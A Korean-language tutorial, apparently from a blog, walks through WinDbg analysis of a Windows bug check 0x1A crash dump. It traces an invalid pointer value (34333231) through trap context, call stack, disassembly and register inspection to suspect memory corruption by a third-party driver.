경험상 커널 자체적인 문제보다 외부 모듈에서 하필 메모리 주소 관리 영역을 깨 버려 발생한 경우가 대부분인데 커널 내부 깊숙한 곳에서 오류가 발생하기 때문에 메모리 손상에 대한 증거가 남아 있지 않는 경우가 많다.

그래도 분석이 가능한 경우도 있으니 BugCode의 파라미터 정보부터 살펴보자.

Arg1: 00041287, An illegal page fault occurred while holding working set synchronization. Parameter 2 contains the referenced virtual address.

Arg2: 34333231

Arg1 값은 세부 오류 코드로 다양한 값이 존재하는데 도움말(F1)의 검색 탭에서 Bug Check 0x1A 로 검색하면 이 파라미터 값이 의미하는 바를 알 수 있다.

워킹셋 동기화를 잡고 있는 상태에서 접근한 페이지 정보에 문제가 있었는데, Arg2에 문제를 일으킨 주소가 34333231이라고 말해준다.

물론, 분석에 별 도움은 되지 않는다. 단지 34333231이라는 값이 정상적인 주소 값 형태가 아니기 때문에 누군가가 또 메모리를 손상 시켰으리라 의심할 따름이다.

analyze 결과의 아래 FAILURE_BUCKET_ID를 보면 0x1a_41287_SomeDrv+df93이 있다. SomeDrv로 인해 문제가 발생한 것처럼 보여주고 있다.

나는 이 정보도 크게 신뢰하지 않는다. 왜냐하면 WinDbg는 단지 콜 스택에서 nt 커널 모듈을 제외하고 마지막 모듈을 보여주기 때문이다. 당연하게도 메모리 손상 이슈에서는 전혀 다른 모듈이 범인인 경우가 매우 많다.

언제나처럼 .trap 명령을 사용해서 문제가 발생한 부분으로 컨텍스트 정보를 설정해보자.

kd> .trap 0xffffffffaa9ff594

ErrCode = 00000000

eax=34333231 ebx=85c5c000 ecx=29a00000 edx=0f349000 esi=00000000 edi=831a7100

eip=830d8f0f esp=aa9ff608 ebp=aa9ff618 iopl=0 nv up ei pl nz na po nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202

nt!MiAllocateAccessLog+0x54:

830d8f0f 3930 cmp dword ptr [eax],esi

ds:0023:34333231=????????

eax에 있는 34333231 주소가 접근할 수 없는 영역이라 문제가 발생했다고 한다.

이제 kv 명령어로 파라미터를 포함한 콜 스택을 확인해보자.

kd> kv

*** Stack trace for last set context - .thread/.cxr resets it

# ChildEBP RetAddr Args to Child

00 aa9ff618 830c111e c0699800 84a94e2c 842f4804 nt!MiAllocateAccessLog+0x54

01 aa9ff664 830c7907 c0699800 00000000 85a9b630 nt!MiLogPageAccess+0x40

02 aa9ff8d4 8326b0c4 d3300000 cdf693f0 00000000 nt!MmUnmapViewInSystemCache+0x1c1

03 aa9ff90c 830c97b5 85a9b630 85e8f5a8 00000000 nt!CcUnmapVacb+0x18c

04 aa9ff94c 830c76ff 01e8f5a8 831a7400 00000001 nt!CcUnmapVacbArray+0x292

05 aa9ff96c 830c7d9c 831a7400 00000000 85e8f5a8 nt!CcUnmapAndPurge+0x2e

06 aa9ff988 830c7514 00000001 85de1f80 00000000 nt!CcDeleteSharedCacheMap+0x82

07 aa9ff9bc 830e74a6 aa9ff9ec 812c5e91 01000000 nt!CcWriteBehind+0x715

08 aa9ffa1c 83261c3f 87d9af80 00000000 00000000 nt!CcWaitForUninitializeCacheMap+0x15e

09 aa9ffb3c 832613c9 aa9ffb90 00000007 00000000 nt!MmCreateSection+0x339

0a aa9ffbb0 936eef93 0010d600 00000007 00000000 nt!NtCreateSection+0x16e

0b aa9ffc10 83079896 0010d600 00000007 00000000 SomeDrv+0xdf93

0c aa9ffc10 76df70f4 0010d600 00000007 00000000 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ aa9ffc34)

0d 0010d720 00000000 00000000 00000000 00000000 0x76df70f4

정말이지 nt 커널 함수만 잔뜩 있는 이런 콜 스택을 보면 한숨이 절로 나온다.

nt!MiAllocateAccessLog+0x54에서 문제가 발생했으니 여기 안에서 메모리 손상과 관련된 단서가 발견되기를 기대해보자.

다음은 nt!MiAllocateAccessLog+0x54 부분을 디스어셈블링한 내용이다.

kd> u nt!MiAllocateAccessLog L1d

nt!MiAllocateAccessLog:

830d8ebb 8bff mov edi,edi

830d8ebd 55 push ebp

830d8ebe 8bec mov ebp,esp

830d8ec0 51 push ecx

830d8ec1 51 push ecx

830d8ec2 8b0d80b41683 mov ecx,dword ptr [nt!MmAvailablePages(8316b480)]

830d8ec8 b800040000 mov eax,400h

830d8ecd 53 push ebx

830d8ece 56 push esi

830d8ecf 3bc8 cmp ecx,eax

830d8ed1 721d jb nt!MiAllocateAccessLog+0x35 (830d8ef0)

830d8ed3 8b0d00b51683 mov ecx,dword ptr [nt!MmResidentAvailablePages(8316b500)]

830d8ed9 3bc8 cmp ecx,eax

830d8edb 7c13 jl nt!MiAllocateAccessLog+0x35 (830d8ef0)

830d8edd e84badffff call nt!MI_FREE_NON_PAGED_POOL_PAGES_LEFT(830d3c2d)

830d8ee2 c745fc00100000 mov dword ptr [ebp-4],1000h

830d8ee9 3d00080000 cmp eax,800h

830d8eee 7307 jae nt!MiAllocateAccessLog+0x3c (830d8ef7)

830d8ef0 c745fc00020000 mov dword ptr [ebp-4],200h

830d8ef7 8b5f08 mov ebx,dword ptr [edi+8]

830d8efa 33f6 xor esi,esi

830d8efc 3bde cmp ebx,esi

830d8efe 741e je nt!MiAllocateAccessLog+0x63 (830d8f1e)

830d8f00 817dfc00020000 cmp dword ptr [ebp-4],200h

830d8f07 8b03 mov eax,dword ptr [ebx] // 2) ebx eax

830d8f09 7408 je nt!MiAllocateAccessLog+0x58 (830d8f13)

830d8f0b 3bc6 cmp eax,esi

830d8f0d 740f je nt!MiAllocateAccessLog+0x63 (830d8f1e)

830d8f0f 3930 cmp dword ptr [eax],esi // 1) eax에 설정된 값과 esi 를 비교하다 문제 발생

1)번 eax에 있던 값은 34333231이며 유효하지 않은 주소 값이다. cmp dword ptr [eax],esi 명령으로 eax에 있는 34333231 주소에서 값을 읽으려다 문제가 발생했다. eax 레지스터 내용을 확인해보자.

kd> r eax

Last set context:

eax=34333231

kd> dd eax L1

34333231 ????????

34333231은 ??로 접근할 수 없는 영역이다. eax에 34333231이 설정된 원인을 찾기 위해 약간 앞 쪽 코드를 살펴보면 2)번에서 ebx를 통해 설정하고 있다.

ebx를 한 번 살펴보자.

kd> r ebx

Last set context:

ebx=85c5c000

kd> dd 85c5c000 L1

85c5c000 34333231

ebx에는 85c5c000 값이 있고 85c5c000에 찾고 있던 34333231 값이 담겨 있다.

85c5c000은 값만 보면 유효한 주소 값 형태로 보인다. 일반적으로 정상적인 주소 값의 경우 xxxxxxx0, xxxxxxx8로 끝난다.

유효한 주소 값은 스택 상의 주소나 동적 할당된 메모리 혹은 모듈 내의 주소인 경우가 많다.

!thread 명령으로 현재 스레드 정보를 보면 문제가 발생한 프로세스 및 현재 스레드의 스택 정보를 알 수 있다.

kd> !thread

THREAD 88eac540 Cid 0d10.0d14 Teb: 7ffdf000 Win32Thread: fd601700 RUNNING on processor 2

Not impersonating

DeviceMap ae1d7a28

Owning Process 890b22a8 Image: WerFault.exe

Attached Process N/A Image: N/A

Wait Start TickCount 6552 Ticks: 0

Context Switch Count 9853 IdealProcessor: 3

UserTime 00:00:00.015

KernelTime 00:00:05.116

Win32 Start Address 0x006f80c7

Stack Init aa9ffed0 Current aa9ff6a8 Base aaa00000 Limit aa9fd000 Call 0

Priority 8 BasePriority 7 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

ChildEBP RetAddr Args to Child

aa9ff57c 8307ca78 00000000 34333231 00000000 nt!MmAccessFault+0x104

aa9ff57c 830d8f0f 00000000 34333231 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ aa9ff594)